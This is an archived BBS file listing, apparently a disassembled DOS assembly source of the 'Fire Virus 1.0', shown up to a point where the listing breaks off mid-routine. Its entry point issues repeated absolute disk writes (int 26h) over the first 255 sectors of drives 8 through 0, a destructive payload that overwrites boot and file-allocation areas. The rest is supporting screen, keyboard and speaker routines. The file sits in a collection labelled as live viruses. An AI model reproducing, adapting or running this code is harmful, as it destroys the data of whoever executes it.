home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
fire.asm
< prev
next >
Wrap
Assembly Source File
|
1994-01-17
|
48KB
|
2,159 lines
PAGE 60,132
;██████████████████████████████████████████████████████████████████████████
;██ ██
;██ FIRE ██
;██ ██
;██ Created: 12-Mar-91 ██
;██ ██
;██████████████████████████████████████████████████████████████████████████
data_1e equ 10h ; (0000:0010=0FF33h)
data_2e equ 14h ; (0000:0014=0FF54h)
data_3e equ 49h ; (0040:0049=3)
data_4e equ 4Ah ; (0040:004A=50h)
data_5e equ 50h ; (0040:0050=184Fh)
data_6e equ 63h ; (0040:0063=3D4h)
data_7e equ 87h ; (0040:0087=0)
data_8e equ 36h ; (701E:0036=0)
data_9e equ 44h ; (701E:0044=0)
data_10e equ 46h ; (701E:0046=0)
data_11e equ 48h ; (701E:0048=0)
data_12e equ 4Ah ; (701E:004A=0)
data_13e equ 0F944h ; (701E:F944=0)
data_27e equ 80h ; (7058:0080=37h)
data_30e equ 74h ; (70BA:0074=0B8h)
data_31e equ 80h ; (70BA:0080=0Eh)
data_37e equ 0FB40h ; (70BA:FB40=0)
;-------------------------------------------------------------- seg_a -----
seg_a segment para public
assume cs:seg_a, ds:seg_a, ss:stack_seg_e
db 0Eh
db 'Fire Virus 1.0 I Have Avenged Th'
db 'e Death of John'
db 19h
db 'Created 05/21/90 By URIBE'
db 0
;██████████████████████████████████████████████████████████████████████████
;
; Program Entry Point
;
;██████████████████████████████████████████████████████████████████████████
fire proc far
start:
call far ptr sub_23
call far ptr sub_4
push bp
mov bp,sp
call far ptr sub_9
mov al,8
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
mov al,2Eh ; '.'
push ax
xor ax,ax ; Zero register
push ax
call far ptr sub_44
call far ptr sub_43
call far ptr sub_32
mov al,9
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
mov al,2Eh ; '.'
push ax
xor ax,ax ; Zero register
push ax
call far ptr sub_44
call far ptr sub_43
call far ptr sub_32
mov al,7
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
mov al,2Eh ; '.'
push ax
xor ax,ax ; Zero register
push ax
call far ptr sub_44
call far ptr sub_43
call far ptr sub_32
mov al,6
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
mov al,2Eh ; '.'
push ax
xor ax,ax ; Zero register
push ax
call far ptr sub_44
call far ptr sub_43
call far ptr sub_32
mov al,5
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
mov al,2Eh ; '.'
push ax
xor ax,ax ; Zero register
push ax
call far ptr sub_44
call far ptr sub_43
call far ptr sub_32
mov al,4
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
mov al,2Eh ; '.'
push ax
xor ax,ax ; Zero register
push ax
call far ptr sub_44
call far ptr sub_43
call far ptr sub_32
mov al,3
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
mov al,2Eh ; '.'
push ax
xor ax,ax ; Zero register
push ax
call far ptr sub_44
call far ptr sub_43
call far ptr sub_32
mov al,2
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
mov al,2Eh ; '.'
push ax
xor ax,ax ; Zero register
push ax
call far ptr sub_44
call far ptr sub_43
call far ptr sub_32
mov al,1
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
mov al,2Eh ; '.'
push ax
xor ax,ax ; Zero register
push ax
call far ptr sub_44
call far ptr sub_43
call far ptr sub_32
mov al,0
mov cx,0FFh
mov dx,0
int 26h ; Absolute disk write, drive al
mov di,152h
push ds
push di
call far ptr sub_42
call far ptr sub_32
mov al,0Eh
push ax
call far ptr sub_10
mov di,152h
push ds
push di
mov di,0
push cs
push di
xor ax,ax ; Zero register
push ax
call far ptr sub_45
call far ptr sub_42
call far ptr sub_32
mov di,152h
push ds
push di
mov di,0Fh
push cs
push di
xor ax,ax ; Zero register
push ax
call far ptr sub_45
call far ptr sub_42
call far ptr sub_32
mov di,152h
push ds
push di
mov di,30h
push cs
push di
xor ax,ax ; Zero register
push ax
call far ptr sub_45
call far ptr sub_42
call far ptr sub_32
mov di,152h
push ds
push di
mov di,4Ah
push cs
push di
xor ax,ax ; Zero register
push ax
call far ptr sub_45
call far ptr sub_42
call far ptr sub_32
mov di,152h
push ds
push di
mov di,4Ah
push cs
push di
xor ax,ax ; Zero register
push ax
call far ptr sub_45
call far ptr sub_42
call far ptr sub_32
mov al,0Dh
push ax
call far ptr sub_10
mov al,0Ch
push ax
call far ptr sub_10
mov al,0Bh
push ax
call far ptr sub_10
mov di,152h
push ds
push di
mov di,4Ah
push cs
push di
xor ax,ax ; Zero register
push ax
call far ptr sub_45
call far ptr sub_42
call far ptr sub_32
mov ax,1F4h
push ax
call far ptr sub_12
mov sp,bp
pop bp
xor ax,ax ; Zero register
call far ptr sub_24
db 11 dup (0)
fire endp
seg_a ends
;-------------------------------------------------------------- seg_b -----
seg_b segment para public
assume cs:seg_b, ds:seg_b, ss:stack_seg_e
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_4 proc far
push bp
mov bp,sp
call sub_5
mov di,52h
push ds
push di
push cs
call sub_14
mov di,52h
push ds
push di
call far ptr sub_33
mov di,152h
push ds
push di
push cs
call sub_14
mov di,152h
push ds
push di
call far ptr sub_34
mov sp,bp
pop bp
ret ; Return far
sub_4 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_5 proc near
mov ah,0Fh
call sub_22
cmp al,7
je loc_1 ; Jump if equal
cmp al,3
jbe loc_1 ; Jump if below or =
mov ax,3
data_16 db 0E8h
data_17 db 56h
data_18 dw 0E800h
data_19 db 0A1h
db 0
data_20 dw 8B4h
data_21 db 32h
data_22 db 0FFh
db 0E8h, 0BBh
data_23 dw 8A05h
data_24 db 0C4h
data_25 db 24h
data_26 db 7Fh
db 0A2h, 4Eh, 0, 0A2h, 44h, 0
db 33h, 0C0h, 0A2h, 3Fh, 0, 0A2h
db 4Fh, 0, 0A2h, 50h, 0, 40h
db 0A2h, 3Eh, 0, 0B8h, 40h, 0
db 8Eh, 0C0h, 0BFh, 6Ch, 0, 26h
db 8Ah, 5
loc_2:
cmp al,es:[di]
je loc_2 ; Jump if equal
mov al,es:[di]
mov cx,0FFFFh
call sub_11
mov ax,37h
xchg ax,cx
not ax
xor dx,dx ; Zero register
div cx ; ax,dx rem=dx:ax/reg
mov data_64,ax ; (0000:004A=0F000h)
push ds
push cs
pop ds
mov dx,12Fh
mov ax,251Bh
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
ret
sub_5 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_6 proc near
mov dx,40h
mov es,dx
and byte ptr es:data_7e,0FEh ; (0040:0087=0)
cmp al,7
je loc_3 ; Jump if equal
cmp al,4
jb loc_3 ; Jump if below
mov al,3
loc_3:
push ax
mov ah,0
call sub_22
pop ax
or ah,ah ; Zero ?
jz loc_ret_4 ; Jump if zero
mov ax,1112h
mov bl,0
call sub_22
mov ax,1130h
mov bh,0
mov dl,0
call sub_22
cmp dl,2Ah ; '*'
jne loc_ret_4 ; Jump if not equal
or byte ptr es:data_7e,1 ; (0040:0087=0)
mov ax,100h
mov cx,600h
call sub_22
mov ah,12h
mov bl,20h ; ' '
call sub_22
loc_ret_4:
ret
sub_6 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_7 proc near
mov ah,0Fh
call sub_22
push ax
mov ax,1130h
mov bh,0
mov dl,0
call sub_22
pop ax
mov cl,0
or dl,dl ; Zero ?
jnz loc_5 ; Jump if not zero
mov dl,18h
cmp al,3
ja loc_5 ; Jump if above
mov cl,1
loc_5:
mov dh,dl
mov dl,ah
dec dl
mov ah,0
cmp dh,18h
jbe loc_6 ; Jump if below or =
mov ah,1
loc_6:
mov data_18,ax ; (7058:0042=0E800h)
mov data_23,dx ; (7058:004C=8A05h)
mov data_17,cl ; (7058:0041=56h)
mov data_16,1 ; (7058:0040=0E8h)
xor ax,ax ; Zero register
mov data_20,ax ; (7058:0046=8B4h)
mov word ptr data_21,dx ; (7058:0048=0FF32h)
ret
sub_7 endp
;██████████████████████████████████████████████████████████████████████████
;
; External Entry Point
;
;██████████████████████████████████████████████████████████████████████████
int_1Bh_entry proc far
push ax
push ds
mov ax,seg_d
mov ds,ax
cmp data_54,0 ; (7125:003E=0)
je loc_7 ; Jump if equal
mov data_56,1 ; (7125:0050=0)
loc_7:
pop ds
pop ax
iret ; Interrupt return
int_1Bh_entry endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_8 proc near
cmp data_26,0 ; (7058:0050=7Fh)
jne loc_8 ; Jump if not equal
ret
loc_8:
mov data_26,0 ; (7058:0050=7Fh)
loc_9:
mov ah,1
int 16h ; Keyboard i/o ah=function 01h
; get status, if zf=0 al=char
jz loc_10 ; Jump if zero
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
jmp short loc_9
loc_10:
mov al,5Eh ; '^'
call sub_16
mov al,43h ; 'C'
call sub_16
call sub_15
int 23h ; Cntrl-C & Cntrl-Break handler
mov bx,sp
mov ax,ss:[bx+4]
call sub_6
call sub_7
mov al,data_24 ; (7058:004E=0C4h)
mov data_19,al ; (7058:0044=0A1h)
ret 2 ; Return far
sub_8 endp
db 8Bh, 0DCh, 36h, 8Ah, 57h, 0Ah
db 36h, 8Ah, 77h, 8, 36h, 8Ah
db 4Fh, 6, 36h, 8Ah, 6Fh, 4
db 3Ah, 0D1h, 77h, 27h, 3Ah, 0F5h
db 77h, 23h, 0FEh, 0CAh, 78h, 1Fh
db 0FEh, 0CEh, 78h, 1Bh, 0FEh, 0C9h
db 3Ah, 0Eh, 4Ch, 0, 77h, 13h
db 0FEh, 0CDh, 3Ah, 2Eh, 4Dh, 0
db 77h, 0Bh, 89h, 16h, 46h, 0
db 89h, 0Eh, 48h, 0, 0E8h, 3Dh
db 3, 0CAh, 8, 0
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_9 proc far
mov ax,600h
mov bh,data_65 ; (0000:0044=0F84Dh)
mov cx,data_66 ; (0000:0046=0F000h)
mov dx,data_67 ; (0000:0048=0F841h)
call sub_22
mov dx,data_66 ; (0000:0046=0F000h)
call sub_19
ret ; Return far
sub_9 endp
db 0E8h, 16h, 3, 0B8h, 0, 6
db 8Ah, 3Eh, 44h, 0, 8Bh, 0CAh
db 8Ah, 16h, 48h, 0, 0E8h, 19h
db 4, 0CBh, 0B8h, 1, 7, 0EBh
db 3, 0B8h, 1, 6, 50h, 0E8h
db 0F9h, 2, 58h, 8Ah, 3Eh, 44h
db 0, 8Ah, 0Eh, 46h, 0, 8Ah
db 0EEh, 8Bh, 16h, 48h, 0, 3Ah
db 0EEh, 75h, 2, 32h, 0C0h
loc_11:
call sub_22
ret ; Return far
db 8Bh, 0DCh, 36h, 8Ah, 57h, 6
db 36h, 8Ah, 77h, 4, 0FEh, 0CAh
db 2, 16h, 46h, 0, 72h, 17h
db 3Ah, 16h, 48h, 0, 77h, 11h
db 0FEh, 0CEh, 2, 36h, 47h, 0
db 72h, 9, 3Ah, 36h, 49h, 0
db 77h, 3, 0E8h, 0BEh, 2, 0CAh
db 4, 0, 0E8h, 0B1h, 2, 8Ah
db 0C2h, 2Ah, 6, 46h, 0, 0FEh
db 0C0h, 0CBh, 0E8h, 0A5h, 2, 8Ah
db 0C6h, 2Ah, 6, 47h, 0, 0FEh
db 0C0h, 0CBh
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_10 proc far
mov bx,sp
mov al,ss:[bx+4]
test al,0F0h
jz loc_12 ; Jump if zero
and al,0Fh
or al,80h
loc_12:
and data_65,70h ; (0000:0044=4Dh) 'p'
or data_65,al ; (0000:0044=4Dh)
ret 2 ; Return far
sub_10 endp
db 8Bh, 0DCh, 36h, 8Ah, 47h, 4
db 24h, 7, 0B1h, 4, 0D2h, 0E0h
db 80h, 26h, 44h, 0, 8Fh, 8
db 6, 44h, 0, 0CAh, 2, 0
db 80h, 26h, 44h, 0, 0F7h, 0CBh
db 80h, 0Eh, 44h, 0, 8, 0CBh
db 0A0h, 4Eh, 0, 0A2h, 44h, 0
db 0CBh, 8Bh, 0DCh, 36h, 8Bh, 57h
db 4, 0Bh, 0D2h, 74h, 13h, 33h
db 0FFh, 8Eh, 0C7h, 26h, 8Ah, 5
db 8Bh, 1Eh, 4Ah, 0
loc_13:
mov cx,bx
call sub_11
dec dx
jnz loc_13 ; Jump if not zero
ret 2 ; Return far
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_11 proc near
locloop_14:
cmp al,es:[di]
jne loc_ret_15 ; Jump if not equal
loop locloop_14 ; Loop if cx > 0
loc_ret_15:
ret
sub_11 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_12 proc far
mov bx,sp
mov bx,ss:[bx+4]
mov ax,34DDh
mov dx,12h
cmp dx,bx
jae loc_ret_17 ; Jump if above or =
div bx ; ax,dx rem=dx:ax/reg
mov bx,ax
in al,61h ; port 61h, 8255 port B, read
test al,3
jnz loc_16 ; Jump if not zero
or al,3
out 61h,al ; port 61h, 8255 B - spkr, etc
mov al,0B6h
out 43h,al ; port 43h, 8253 wrt timr mode
loc_16:
mov al,bl
out 42h,al ; port 42h, 8253 timer 2 spkr
mov al,bh
out 42h,al ; port 42h, 8253 timer 2 spkr
loc_ret_17:
ret 2 ; Return far
sub_12 endp
db 0E4h, 61h, 24h, 0FCh, 0E6h, 61h
db 0CBh, 80h, 3Eh, 4Fh, 0, 0
db 75h, 8, 0B4h, 1, 0CDh, 16h
db 0B0h, 0, 74h, 2, 0B0h, 1
db 0CBh
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_13 proc near
mov al,data_25 ; (7058:004F=24h)
mov data_25,0 ; (7058:004F=24h)
or al,al ; Zero ?
jnz loc_18 ; Jump if not zero
xor ah,ah ; Zero register
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
or al,al ; Zero ?
jnz loc_18 ; Jump if not zero
mov data_25,ah ; (7058:004F=24h)
or ah,ah ; Zero ?
jnz loc_18 ; Jump if not zero
mov al,3
loc_18:
call sub_8
ret ; Return far
sub_13 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_14 proc near
mov bx,sp
push ds
lds di,dword ptr ss:[bx+4] ; Load 32 bit ptr
mov word ptr [di+2],0D7B0h
mov word ptr [di+4],80h
lea ax,ds:data_27e[di] ; (7058:0080=37h) Load effective addr
mov [di+0Ch],ax
mov [di+0Eh],ds
mov word ptr [di+10h],359h
mov [di+12h],cs
mov byte ptr [di+30h],0
pop ds
ret 4 ; Return far
sub_14 endp
db 8Bh, 0DCh, 1Eh, 36h, 0C5h, 7Fh
db 4, 0B8h, 91h, 3, 0BBh, 6Fh
db 4, 8Bh, 0CBh, 81h, 7Dh, 2
db 0B1h, 0D7h, 74h, 0Ah, 0C7h, 45h
db 2, 0B2h, 0D7h, 0B8h, 3Eh, 4
db 8Bh, 0D8h, 89h, 45h, 14h, 8Ch
db 4Dh, 16h, 89h, 5Dh, 18h, 8Ch
db 4Dh, 1Ah, 89h, 4Dh, 1Ch, 8Ch
db 4Dh, 1Eh, 33h, 0C0h, 1Fh, 0CAh
db 4, 0, 55h, 8Bh, 0ECh, 0C4h
db 7Eh, 6, 26h, 8Bh, 55h, 4
db 4Ah, 4Ah, 26h, 8Bh, 75h, 8
db 26h, 0C4h, 7Dh, 0Ch, 33h, 0DBh
loc_19:
mov data_25,0 ; (7058:004F=24h)
push cs
call sub_13
mov cx,1
cmp al,8
je locloop_20 ; Jump if equal
cmp al,13h
je locloop_20 ; Jump if equal
cmp al,4
je locloop_21 ; Jump if equal
dec cx
cmp al,1Bh
je locloop_20 ; Jump if equal
cmp al,1
je locloop_20 ; Jump if equal
cmp al,6
je locloop_21 ; Jump if equal
cmp al,1Ah
je loc_22 ; Jump if equal
cmp al,0Dh
je loc_23 ; Jump if equal
cmp al,20h ; ' '
jb loc_19 ; Jump if below
cmp bx,dx
je loc_19 ; Jump if equal
mov es:[bx+di],al
inc bx
call sub_16
cmp bx,si
jbe loc_19 ; Jump if below or =
mov si,bx
jmp short loc_19
locloop_20:
or bx,bx ; Zero ?
jz loc_19 ; Jump if zero
mov al,8
call sub_16
mov al,20h ; ' '
call sub_16
mov al,8
call sub_16
dec bx
loop locloop_20 ; Loop if cx > 0
jmp short loc_19
locloop_21:
cmp bx,si
je loc_19 ; Jump if equal
mov al,es:[bx+di]
cmp al,20h ; ' '
jb loc_19 ; Jump if below
call sub_16
inc bx
loop locloop_21 ; Loop if cx > 0
jmp short loc_19
loc_22:
cmp data_15,0 ; (7058:003F=0)
je loc_19 ; Jump if equal
mov es:[bx+di],al
inc bx
jmp short loc_24
loc_23:
call sub_15
mov word ptr es:[bx+di],0A0Dh
inc bx
inc bx
loc_24:
les di,dword ptr [bp+6] ; Load 32 bit ptr
xor ax,ax ; Zero register
mov es:[di+8],ax
mov es:[di+0Ah],bx
pop bp
ret 4 ; Return far
db 8Bh, 0DCh, 36h, 0C4h, 7Fh, 4
db 26h, 8Bh, 4Dh, 8, 26h, 29h
db 4Dh, 8, 0E3h, 19h, 26h, 0C4h
db 7Dh, 0Ch, 80h, 3Eh, 40h, 0
db 0, 75h, 0Bh
locloop_25:
mov al,es:[di]
call sub_16
inc di
loop locloop_25 ; Loop if cx > 0
jmp short loc_26
db 0E8h, 9Ch, 0
loc_26:
call sub_8
xor ax,ax ; Zero register
ret 4 ; Return far
db 33h, 0C0h, 0CAh, 4, 0
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_15 proc near
mov al,0Dh
call sub_16
mov al,0Ah
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_16:
push bx
push cx
push dx
push es
push ax
call sub_18
pop ax
cmp al,7
je loc_27 ; Jump if equal
cmp al,8
je loc_28 ; Jump if equal
cmp al,0Dh
je loc_29 ; Jump if equal
cmp al,0Ah
je loc_30 ; Jump if equal
mov ah,9
mov bl,data_19 ; (7058:0044=0A1h)
xor bh,bh ; Zero register
mov cx,1
push dx
call sub_22
pop dx
inc dl
cmp dl,data_21 ; (7058:0048=32h)
jbe loc_31 ; Jump if below or =
mov dl,byte ptr data_20 ; (7058:0046=0B4h)
jmp short loc_30
loc_27:
mov ah,0Eh
call sub_22
jmp short loc_31
loc_28:
cmp dl,byte ptr data_20 ; (7058:0046=0B4h)
je loc_31 ; Jump if equal
dec dl
jmp short loc_31
loc_29:
mov dl,byte ptr data_20 ; (7058:0046=0B4h)
jmp short loc_31
loc_30:
call sub_17
loc_31:
call sub_19
pop es
pop dx
pop cx
pop bx
ret
sub_15 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_17 proc near
inc dh
cmp dh,data_22 ; (7058:0049=0FFh)
jbe loc_ret_32 ; Jump if below or =
dec dh
push cx
push dx
mov ax,601h
mov bh,data_19 ; (7058:0044=0A1h)
mov cx,data_20 ; (7058:0046=8B4h)
mov dx,word ptr data_21 ; (7058:0048=0FF32h)
call sub_22
pop dx
pop cx
loc_ret_32:
ret
sub_17 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_18 proc near
mov ah,3
xor bh,bh ; Zero register
jmp loc_52
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_19:
mov ah,2
xor bh,bh ; Zero register
jmp loc_52
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_20:
push ds
mov ax,40h
mov ds,ax
mov dx,ds:data_5e ; (0040:0050=184Fh)
pop ds
mov bx,dx
mov si,di
locloop_33:
mov al,es:[di]
cmp al,7
je loc_34 ; Jump if equal
cmp al,8
je loc_35 ; Jump if equal
cmp al,0Ah
je loc_36 ; Jump if equal
cmp al,0Dh
je loc_37 ; Jump if equal
inc di
inc dl
cmp dl,data_21 ; (7058:0048=32h)
jbe loc_40 ; Jump if below or =
call sub_21
call sub_17
mov dl,byte ptr data_20 ; (7058:0046=0B4h)
jmp short loc_39
loc_34:
call sub_21
push cx
push dx
mov ax,0E07h
call sub_22
pop dx
pop cx
jmp short loc_38
loc_35:
call sub_21
cmp dl,byte ptr data_20 ; (7058:0046=0B4h)
je loc_38 ; Jump if equal
dec dl
jmp short loc_38
loc_36:
call sub_21
call sub_17
jmp short loc_38
loc_37:
call sub_21
mov dl,byte ptr data_20 ; (7058:0046=0B4h)
loc_38:
inc di
loc_39:
mov si,di
mov bx,dx
loc_40:
loop locloop_33 ; Loop if cx > 0
call sub_21
push ds
mov ax,40h
mov ds,ax
mov ds:data_5e,dx ; (0040:0050=184Fh)
mov al,dh
mul byte ptr ds:data_4e ; (0040:004A=50h) ax = data * al
xor dh,dh ; Zero register
add ax,dx
mov cx,ax
mov dx,ds:data_6e ; (0040:0063=3D4h)
mov al,0Eh
out dx,al ; port 3D4h, CGA/EGA reg index
; al = 0Eh, cursor position hi
jmp short loc_41
loc_41:
mov al,ch
inc dx
out dx,al ; port 3D5h, CGA/EGA indxd data
jmp short loc_42
loc_42:
dec dx
mov al,0Fh
